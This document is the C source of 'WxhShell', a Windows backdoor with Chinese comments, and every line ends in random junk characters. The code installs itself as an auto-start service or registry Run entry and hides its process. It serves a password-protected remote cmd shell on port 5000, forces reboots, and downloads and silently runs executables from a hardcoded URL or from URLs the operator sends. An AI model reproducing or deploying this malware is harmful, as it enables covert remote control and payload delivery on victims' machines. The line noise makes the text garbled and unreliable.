    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Bl`e+&b  
    if(Boot(SHUTDOWN)) 6w1:3~a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #i2q}/w5`C  
    else { bMSF-lQ  
    closesocket(wsh); 3'/wRKl  
    ExitThread(0); fI$, ?>  
    } |?8CV\D!  
    break; g X(QRQ  
    } v?LJ_>hw*T  
  // 获取shell =?*V3e3{  
  case 's': { 3J,/bgL5  
    CmdShell(wsh); *c3 o&-ke9  
    closesocket(wsh); 9oq(5BG,  
    ExitThread(0); cQ+, F2  
    break; :He:Bdk  
  } /=r&9P@Ay<  
  // 退出 \17)=W  
  case 'x': { n.1a1Tf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); HYg _{  
    CloseIt(wsh); xD1wHp!+  
    break; LoCxoAg  
    } "R9kF-  
  // 离开 H`io|~Q  
  case 'q': { in+`zfUJ9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {?L}qV  
    closesocket(wsh); JK_$A;Q  
    WSACleanup(); &P+cTN9)  
    exit(1); O0$ijJa|  
    break; hR`dRbBi%  
        } R>0ta  Q  
  } m",bfZ  
  } ?5GjH~  
*@BBlkcx  
  // 提示信息 (Q&z1XK3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \Fj4Gy?MW  
} [FCNW0NV  
  } Bf* F ^  
SfR!q4b=  
  return; )7`~U"r  
} 0>?mF]M  
~~fL`"  
// shell模块句柄 WYzY#-j  
int CmdShell(SOCKET sock) gTQ6B,`/8  
{ Xs?>6i@$$  
STARTUPINFO si; rU~"A  
ZeroMemory(&si,sizeof(si)); (f.A5~e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jyT(LDsS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VI+Y4T@  
PROCESS_INFORMATION ProcessInfo; ePY K^D  
char cmdline[]="cmd"; {MEU|9@ Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,`Mlo  
  return 0; b~~}(^Bg  
} d z\b]H]  
Wex4>J<`/  
// 自身启动模式 ypifXO;m7  
int StartFromService(void) iH$N HfH  
{ i*; V4zh  
typedef struct dJ;;l7":~  
{ G?V3lQI1n  
  DWORD ExitStatus; gSv<.fD"  
  DWORD PebBaseAddress; $N ]P#g?Q  
  DWORD AffinityMask; W ][IHy<   
  DWORD BasePriority; p,0 \NUC  
  ULONG UniqueProcessId; 9"aTF,'F/  
  ULONG InheritedFromUniqueProcessId; v m$v[  
}   PROCESS_BASIC_INFORMATION; zld>o3K}  
gI%n(eY  
PROCNTQSIP NtQueryInformationProcess; @6Mo_4)O  
r\1*N.O3|O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TDseWdA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DxD0iJ=W  
z>&D~0  
  HANDLE             hProcess; d+w<y~\ q  
  PROCESS_BASIC_INFORMATION pbi; jGWLYI=V2  
3z ry %qV=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g bh:Y}_FU  
  if(NULL == hInst ) return 0; EtcamI*`  
Xg)yz~Ug  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }B.C#Y$@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +Q9HsfX/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2U+&F'&Q  
0jS/U|0  
  if (!NtQueryInformationProcess) return 0; JU6np4  
Z`!pU"O9l  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lu}[XN  
  if(!hProcess) return 0; LH8?0 N[  
i0!F  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f_\-y&)+*  
 \X`P W  
  CloseHandle(hProcess); )}aF=%  
4~/6d9f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tv{.iM|V c  
if(hProcess==NULL) return 0; t5qAH++axN  
][mc^eI0s|  
HMODULE hMod; :Ry 24X  
char procName[255]; %qHT!aP  
unsigned long cbNeeded; =V , _  
b(VU{cf2d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~_&.A*Jh  
+!Ltn  
  CloseHandle(hProcess); vqHJc2yYkZ  
.s?OKy  
if(strstr(procName,"services")) return 1; // 以服务启动 4s8E:I=K  
{?iqO?  
  return 0; // 注册表启动 _7;^od=C  
} #+G2ZJxL|  
P:TpB6.=q  
// 主模块 qw/{o:ce]  
int StartWxhshell(LPSTR lpCmdLine) 1L|(:m+  
{ ? `KOW  
  SOCKET wsl; w;(gi  
BOOL val=TRUE; S#9SAX [  
  int port=0; [:'n+D=T3M  
  struct sockaddr_in door; C"{on%  
(D{}1sZBQ  
  if(wscfg.ws_autoins) Install(); l_%~X 9"  
$^!w`>0C  
port=atoi(lpCmdLine); cn0Fz"d  
"m3Y))a  
if(port<=0) port=wscfg.ws_port; iQF}x&a<  
~}AP@t*  
  WSADATA data; {;E/l(HNI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; AIyv;}5  
Kd)m"9Cc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ss<'g@R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); abnd U,s  
  door.sin_family = AF_INET; #77UKYj2L-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U VKN#"_{  
  door.sin_port = htons(port); m+UdT854  
Q(6(Scp{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D2p6&HNT  
closesocket(wsl); u2< h<}Y  
return 1; a:}"\>Aj  
} m =}X$QF`^  
~'MWtDe:Z8  
  if(listen(wsl,2) == INVALID_SOCKET) { .B13)$C  
closesocket(wsl); pxx(BE  
return 1; r\d:fot  
} clw91yrQn  
  Wxhshell(wsl); AF$o >f  
  WSACleanup(); ^Q>*f/.KN  
JWL J<z  
return 0; -/%jeDKp  
Ol[gck|~  
} o }A #-   
ea0tx3'  
// 以NT服务方式启动 HqBPY[;s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >G2-kL_  
{ PuaosMn(9  
DWORD   status = 0; CE,O m^  
  DWORD   specificError = 0xfffffff; @U{M"1zZe  
#:|?t&On  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JZzf,G:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hH}/v0_jb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; '.yWL  
  serviceStatus.dwWin32ExitCode     = 0; &|'6-wD.  
  serviceStatus.dwServiceSpecificExitCode = 0; a7\L-T+  
  serviceStatus.dwCheckPoint       = 0; XB-|gPk  
  serviceStatus.dwWaitHint       = 0; kVnyX@  
b]BA,D 4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7V (7JV<>  
  if (hServiceStatusHandle==0) return; Pfx71*u,  
_kN%6~+U  
status = GetLastError(); )c/y07er  
  if (status!=NO_ERROR) o(/ ia3  
{ o$VH,2 QF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >;v0zE  
    serviceStatus.dwCheckPoint       = 0; zI!R-Nb  
    serviceStatus.dwWaitHint       = 0; (H+[^(3d2  
    serviceStatus.dwWin32ExitCode     = status; v:MS0]  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2TEeP7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); RCYbRR4y  
    return; "n }fEVJ,  
  } [9om"'  
/'6[*]IZP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9Fx z!-9m  
  serviceStatus.dwCheckPoint       = 0; hX%v`8  
  serviceStatus.dwWaitHint       = 0; T zYgH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NB5B$q_'#  
} -_DiD^UcXn  
;}~Bv<#  
// 处理NT服务事件,比如:启动、停止 YwWTv  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }#*zjMOz  
{ G@EjWZQ  
switch(fdwControl) V C'-h~  
{ FR^wDm$  
case SERVICE_CONTROL_STOP: j jT 2k  
  serviceStatus.dwWin32ExitCode = 0; */dh_P<Yj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "Vp: z V<S  
  serviceStatus.dwCheckPoint   = 0; -!G#")<  
  serviceStatus.dwWaitHint     = 0; 9c}]:3#XO  
  { ?>jArzI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G>S1Ld'MV  
  } )|R0_9CLV  
  return; 1vK(^u[  
case SERVICE_CONTROL_PAUSE: `Mn{bd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NvHy'  
  break; s k6|_  
case SERVICE_CONTROL_CONTINUE: a~>0JmM+N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Bj($_2M%+  
  break; u|>U`[Zpj  
case SERVICE_CONTROL_INTERROGATE: nQ!#G(_nO  
  break; IOZ|85u =  
}; O\F^@;] F6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0*IY%=i  
} :'rZZeb'  
bA^: p3  
// 标准应用程序主函数 t>GLZzO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'a/6]%QFd!  
{ H&=4y) /.  
h9w^7MbO  
// 获取操作系统版本 wQrPS  
OsIsNt=GetOsVer(); o p5^9`"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DD6`k*RIk.  
us,,W(q  
  // 从命令行安装 9 roth  
  if(strpbrk(lpCmdLine,"iI")) Install(); C\ 2 >7  
UFAMbI  
  // 下载执行文件 hPi :31-0  
if(wscfg.ws_downexe) { 0R5^p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X`v79`g_  
  WinExec(wscfg.ws_filenam,SW_HIDE); FlA\Ad;v  
} l)PFzIz=V  
vua1iN1  
if(!OsIsNt) { CE7pg&dJ)i  
// 如果时win9x,隐藏进程并且设置为注册表启动 e9hVX[uq  
HideProc(); 6dR-HhF  
StartWxhshell(lpCmdLine); `Y({#U  
} 9c5G6n0  
else ah"MzU)  
  if(StartFromService()) KYmWfM3^  
  // 以服务方式启动 M|E2&ht  
  StartServiceCtrlDispatcher(DispatchTable); 19w,'}CGk  
else &B7+>Ix,  
  // 普通方式启动 A"<)(M+kG  
  StartWxhshell(lpCmdLine); Iam-'S5  
ny_ kr`$42  
return 0; {p*hNi)0  
} yH"$t/cU"R  
n.Eoi4jV'  
vb.Y8[  
CbH T #  
=========================================== $h]Y<&('G  
"tz0ko,(  
p5# P r  
]^6y NtLK  
#b"5L2D`y'  
qqt.nrQ^  
" 0jJ28.kOp  
zTBi{KrZ  
#include <stdio.h> wI]R+.  
#include <string.h> k E#_Pc  
#include <windows.h> b^l -*4  
#include <winsock2.h> ;$tv8%_L[  
#include <winsvc.h> q~' K9  
#include <urlmon.h> Jyz$&jqyr'  
?(NT!es  
#pragma comment (lib, "Ws2_32.lib") 5IE+M  
#pragma comment (lib, "urlmon.lib") uM#U!  
J,0WQQnb  
#define MAX_USER   100 // 最大客户端连接数 gC_s\WU  
#define BUF_SOCK   200 // sock buffer X?v ^>mA  
#define KEY_BUFF   255 // 输入 buffer 5)>ZO)F&  
qnk,E-  
#define REBOOT     0   // 重启 7ru9dg1?  
#define SHUTDOWN   1   // 关机 ZaUcP6[h  
?m9UhLeaS=  
#define DEF_PORT   5000 // 监听端口 Va/@#=,q]  
lgjoF_D  
#define REG_LEN     16   // 注册表键长度 M\?uDC9  
#define SVC_LEN     80   // NT服务名长度 hA1gkEM2o  
{7![3`%7  
// 从dll定义API {?>bblw/d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); AR+\uD=\I-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s?G'l=CcKu  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cxP9n8CuT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mb~=Xyk&  
r@ T-Hi  
// wxhshell配置信息 C@UJOB  
struct WSCFG { S `m- 5  
  int ws_port;         // 监听端口 JX\T {\m#  
  char ws_passstr[REG_LEN]; // 口令  10l1a4  
  int ws_autoins;       // 安装标记, 1=yes 0=no H6PXx  
  char ws_regname[REG_LEN]; // 注册表键名 !AD0 -fZ  
  char ws_svcname[REG_LEN]; // 服务名 TA@tRGP>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /VmCN]2AZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H?=pWB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '[=yfh   
int ws_downexe;       // 下载执行标记, 1=yes 0=no gSv[4,hXd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z7t'6Fy9'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;oY(I7  
s7UhC.>'@  
}; JJ N(M*;  
e1 {t0f  
// default Wxhshell configuration B~_,>WG  
struct WSCFG wscfg={DEF_PORT, cpF1XpvT  
    "xuhuanlingzhe", -|k&L}\OB0  
    1, S4{Mu(^xT  
    "Wxhshell", %];h|[ax]  
    "Wxhshell", 1 ~B<  
            "WxhShell Service", =UB*xm%!  
    "Wrsky Windows CmdShell Service", FUzMc1zy|  
    "Please Input Your Password: ", %g]$Vfpy  
  1, ?LV-W  
  "http://www.wrsky.com/wxhshell.exe", _/N'I7g  
  "Wxhshell.exe" 0x>/6 <<  
    }; L&DF,fWsF&  
G1?0Q_RN  
// 消息定义模块 35%[D Ukb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; N)vk0IM!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }o!#_N0T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Xew1LPI  
char *msg_ws_ext="\n\rExit."; StdS$XW  
char *msg_ws_end="\n\rQuit."; O7'<I|aD  
char *msg_ws_boot="\n\rReboot..."; A'~%_}  
char *msg_ws_poff="\n\rShutdown..."; MR?*GI's  
char *msg_ws_down="\n\rSave to "; [B"dH-r7  
C`yvBt40r  
char *msg_ws_err="\n\rErr!"; Uaus>Frx.T  
char *msg_ws_ok="\n\rOK!"; =YXe1$ $  
U=&^H!LVY  
char ExeFile[MAX_PATH]; 4[LLnF--  
int nUser = 0; ElEv(>G*  
HANDLE handles[MAX_USER]; ]M+VSU  
int OsIsNt; Z92iil;t  
:~ZqB\>i  
SERVICE_STATUS       serviceStatus; eC+"mhB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jsNH`"  
*%OYAsc  
// 函数声明 Hyq@O 8  
int Install(void); l\T!)Ql  
int Uninstall(void); I+Ncmg )>  
int DownloadFile(char *sURL, SOCKET wsh); &*G5J7%w  
int Boot(int flag); J8u{K.( *7  
void HideProc(void); B.}_],  
int GetOsVer(void); tp6csS,  
int Wxhshell(SOCKET wsl); c%AFo]H  
void TalkWithClient(void *cs); .)"_Q/q  
int CmdShell(SOCKET sock); S1 EEASr!}  
int StartFromService(void); [5? 4c'Ev  
int StartWxhshell(LPSTR lpCmdLine); Q )LXL.0h  
tb:,Uf>E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M('s|>\l  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?Y? gzD  
 (kWSK:l  
// 数据结构和表定义 L25kh}Q#7  
SERVICE_TABLE_ENTRY DispatchTable[] = `1E|PQbWc  
{ :mXGIRi  
{wscfg.ws_svcname, NTServiceMain}, ;~Q  
{NULL, NULL} 3d*&':  
}; | ((1V^  
T~i%j@Q.6  
// 自我安装 &=F-moDD  
int Install(void) zb>f;[  
{ :]CzN^k(1c  
  char svExeFile[MAX_PATH]; [%j?.N  
  HKEY key; ?a'6EAErC  
  strcpy(svExeFile,ExeFile); > 63)z I  
<*s"e)XeqF  
// 如果是win9x系统,修改注册表设为自启动 ^[{`q9A#d  
if(!OsIsNt) { Q0zW ]a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {fGd:2dh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \H Wcd|  
  RegCloseKey(key); jOUK]>ox:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DA<F{n.Z:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sU) TXL'_!  
  RegCloseKey(key); [>W"R1/  
  return 0; KQG-2oW  
    } 7d&DrI@~  
  } % v;e  
} r\$6'+Si  
else { _iG2J&1'L  
tigT@!`$Y  
// 如果是NT以上系统,安装为系统服务 J>rka]*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  9R9__w;  
if (schSCManager!=0) Y3#Nux%  
{ 6g5PM4\  
  SC_HANDLE schService = CreateService QWrIa1.JC  
  ( j$3rJA%rN  
  schSCManager, %KGq*|GUu  
  wscfg.ws_svcname, yJ!OsD  
  wscfg.ws_svcdisp, HXQ e\r  
  SERVICE_ALL_ACCESS, x(L(l=^"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ShQ|{P9  
  SERVICE_AUTO_START, "j{i,&Y$_  
  SERVICE_ERROR_NORMAL, x^A7'ad0  
  svExeFile, O^5UB~  
  NULL, >T<6fpXuk2  
  NULL, z{ptm7  
  NULL, ^>C 11v  
  NULL, 0,HqE='w  
  NULL F\a]n^ Y  
  ); H&M1>JtE  
  if (schService!=0) |xn#\epy@  
  { G6ayMw]OF  
  CloseServiceHandle(schService); m#tpbFAsc  
  CloseServiceHandle(schSCManager); >lrhHU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8z Y)J#  
  strcat(svExeFile,wscfg.ws_svcname); JPEIT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3KSpB;HX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B$rTwR"(-  
  RegCloseKey(key); sf(i E(o  
  return 0; o]Gguw5W{  
    } z~,mRgc$B  
  } |6aJwe+*  
  CloseServiceHandle(schSCManager); tQWWgLM  
} oL]mjo=jN  
} Yu'a<5f  
L>dkrr)e  
return 1; 74+A+SK[  
} ( S`6Q  
B`fH^N  
// 自我卸载 2 nv[1@M  
int Uninstall(void) x?#I4RJH;  
{ U&X2cR &a  
  HKEY key; GcT;e5D  
SxJ$b  
if(!OsIsNt) { l3.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]4`t\YaT  
  RegDeleteValue(key,wscfg.ws_regname); ;B~P>n}}_]  
  RegCloseKey(key); .u l 53 m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'BY-OA#xJ  
  RegDeleteValue(key,wscfg.ws_regname); ?~J i-{#X  
  RegCloseKey(key); l<(cd,  
  return 0; >!L&>OOx  
  } HTV ~?E  
} H3 , ut  
} 8-m 3e  
else { K/txD20 O|  
~2@Lx3t$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (9 sIA*,}  
if (schSCManager!=0) jNA1O68N  
{ |~WYEh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {^#2=`:)O  
  if (schService!=0) ?c]n^GvG  
  { {CtR+4KD  
  if(DeleteService(schService)!=0) { aBhV3Fd[B  
  CloseServiceHandle(schService); !SO8O  
  CloseServiceHandle(schSCManager); V|'1tB=;*1  
  return 0; !nd*W"_gQ/  
  } @Y}uZ'jt'  
  CloseServiceHandle(schService); 7{e=="#*  
  } @5.e@]>ZM  
  CloseServiceHandle(schSCManager); MPIlSMe  
} ySe$4deJ  
} 87V1#U^  
lwT9~Hyp  
return 1; D'b#,a;V  
} %T!J$a)qf  
;#1Iiuh  
// 从指定url下载文件 WkP +r9rT  
int DownloadFile(char *sURL, SOCKET wsh) DIaYo4  
{ e4`uVq5  
  HRESULT hr; a^t?vv  
char seps[]= "/"; H6K`\8/SeN  
char *token; )}MHx`KT2  
char *file; WA6!+Gy  
char myURL[MAX_PATH]; ?<U{{ C  
char myFILE[MAX_PATH]; =Q<L eh=G  
kkS~4?- *  
strcpy(myURL,sURL); @%hCAm  
  token=strtok(myURL,seps); h1[WhBL-O  
  while(token!=NULL) QJn`WSw$_-  
  { C3XmK}h  
    file=token; ff e1lw%  
  token=strtok(NULL,seps); fY,|o3#  
  } >Kivuc  
D)Q)NI  
GetCurrentDirectory(MAX_PATH,myFILE);  fvEAIs  
strcat(myFILE, "\\"); nwA8ALhE  
strcat(myFILE, file); hePPxKQ-  
  send(wsh,myFILE,strlen(myFILE),0); jZpa0grA  
send(wsh,"...",3,0); At6qtoPRA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1[;;sSp  
  if(hr==S_OK) usFfMF X  
return 0; F%d \~Vj  
else ua5?(,E`']  
return 1; a|4~NL  
C3'rtY.  
} R@iUCT^$  
+G F#?X0^  
// 系统电源模块 'zZcn" +!  
int Boot(int flag) $w#r"= )  
{ #!2k<Q*5uT  
  HANDLE hToken; l|/LQ/  
  TOKEN_PRIVILEGES tkp; - nbMTY}  
Km#pX1]>e  
  if(OsIsNt) { *\uM.m0$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _[K"gu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Dg HaOAdU  
    tkp.PrivilegeCount = 1; 3;[DJ5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A"v{~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); MZ> 6o5K|  
if(flag==REBOOT) { FLZWZ;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S4CbyXW  
  return 0; ln!'_\{  
} crcA\lJf  
else { ] )DX%$f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) CO:u1?  
  return 0; 2@=IT0[E\  
} j;1-p>z  
  } hm*cw[#O1x  
  else { .w?(NZ2~  
if(flag==REBOOT) { 69K{+|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d XHB#  
  return 0; .7NNT18  
} )~J>X{hy  
else { !7bw5H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~EzaC?fQ  
  return 0; G oM ip8'u  
} ;`YkMS`=W  
} <A5]]{9 +  
|RkcDrB~  
return 1; ~PWSo%W8  
} x NK1h-t  
i_R e*  
// win9x进程隐藏模块 4Y> Yi*n  
void HideProc(void) (-77[+2  
{ Ny- [9S-<  
;< jbLhHwD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Yap?^&GV  
  if ( hKernel != NULL ) G!N{NCq  
  { RyJ 1mAC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A - YBQPE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *^\HU=&  
    FreeLibrary(hKernel); X~=xXN.  
  } z4#(Ze@u~_  
!" #9<~Q,p  
return; <h).fX  
} PNOGN|D  
"\W-f  
// 获取操作系统版本 CT9   
int GetOsVer(void) 2T@GA 1G  
{ GQQ.OvEc  
  OSVERSIONINFO winfo; IQ< MyB(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2aw&YZ&Xo  
  GetVersionEx(&winfo); #`TgZKDg2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) TGXa,A{  
  return 1; B vo5-P6XY  
  else >(w2GD?  
  return 0; |Xi%   
} `p b5*h6r!  
3A:q7#m  
// 客户端句柄模块 n<sd!xmqFx  
int Wxhshell(SOCKET wsl) ,;?S\V  
{ =gfI!w  
  SOCKET wsh; \<Sv3xy&O  
  struct sockaddr_in client; YJg,B\z}  
  DWORD myID; 0~wF3BgV  
9SlNq05G7  
  while(nUser<MAX_USER) eI.2`)>  
{ $Nrm!/)*'}  
  int nSize=sizeof(client); <~TP#uAz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pLa[}=  
  if(wsh==INVALID_SOCKET) return 1; f4-a?bp  
XC 7?VE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); TD[EQ  
if(handles[nUser]==0) YjF|XPv+ l  
  closesocket(wsh); |7,L`utp  
else _=ua6}Xp  
  nUser++; 9Zry]$0~R  
  } NN0$}acp  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Uoya3#4 G  
[ EFMu;q  
  return 0; Djk C  
} Uz cx6sw  
2%*MW"Q  
// 关闭 socket ] Z8Vj7~  
void CloseIt(SOCKET wsh) E$9 Ys  
{ t?o ,RN:  
closesocket(wsh); b|Q)[y]  
nUser--; 5D M"0  
ExitThread(0); -9RDr\&`(  
} MMB@.W  
mk7&<M  
// 客户端请求句柄 0;S,tJg  
void TalkWithClient(void *cs) /@AEJ][$  
{ {3})=>u:S  
/bj <Ft\  
  SOCKET wsh=(SOCKET)cs; o"wXIHUmV  
  char pwd[SVC_LEN]; M/x>51<  
  char cmd[KEY_BUFF]; ^7;JC7qmN  
char chr[1]; P%)gO  
int i,j; Pe C7  
<YA&Dr3OD  
  while (nUser < MAX_USER) { (~zd6C1.  
K{n{KB&_&  
if(wscfg.ws_passstr) { m9U"[Huv1E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G?f\>QSZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q$1PG+-  
  //ZeroMemory(pwd,KEY_BUFF); ]yjl~3  
      i=0; 9/+Nj/  
  while(i<SVC_LEN) { J=.`wZQkS  
$^u}a   
  // 设置超时 go+Q~NV   
  fd_set FdRead; UobyK3.%  
  struct timeval TimeOut; H|cNH=  
  FD_ZERO(&FdRead); pg]BsJN  
  FD_SET(wsh,&FdRead); ,-x!$VqS  
  TimeOut.tv_sec=8; OD' ]:  
  TimeOut.tv_usec=0; $$:ZX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tXJU vish  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BCe_@  
G'YH6x,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); omWJJ|b~  
  pwd=chr[0]; ikE<=:pe  
  if(chr[0]==0xd || chr[0]==0xa) { u77E! z4Uz  
  pwd=0; vI$t+m:  
  break; %|G"-%_E  
  } q+B&orp  
  i++; !`!| Zw  
    } ~Lc066bLeq  
Y+K|1r  
  // 如果是非法用户,关闭 socket cYXM__  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /1?R?N2>0  
} @ HZKc\1  
r`c_e)STO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >0p$(>N]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }j,[ 1@S  
L[5=h  
while(1) { jxJv.  
}|%eCVB  
  ZeroMemory(cmd,KEY_BUFF); :eo  
''\;z<v   
      // 自动支持客户端 telnet标准   =^ T\Xs;GK  
  j=0; [r/k% <  
  while(j<KEY_BUFF) { hHqh{:q{v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~ %B<  
  cmd[j]=chr[0]; jqr1V_3(  
  if(chr[0]==0xa || chr[0]==0xd) { ; S xFp  
  cmd[j]=0; gm9mg*aM  
  break; yV)la@c  
  } DcSnia62f  
  j++; ?5kHa_^  
    } OFje+S  
1Bxmm#  
  // 下载文件 r! Ay :r  
  if(strstr(cmd,"http://")) { Y.^=]-n,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5BBD.!  
  if(DownloadFile(cmd,wsh)) /%lZu^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  |W<+U  
  else :$MG*/Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *,BzcZ  
  } OT'[:|x ;  
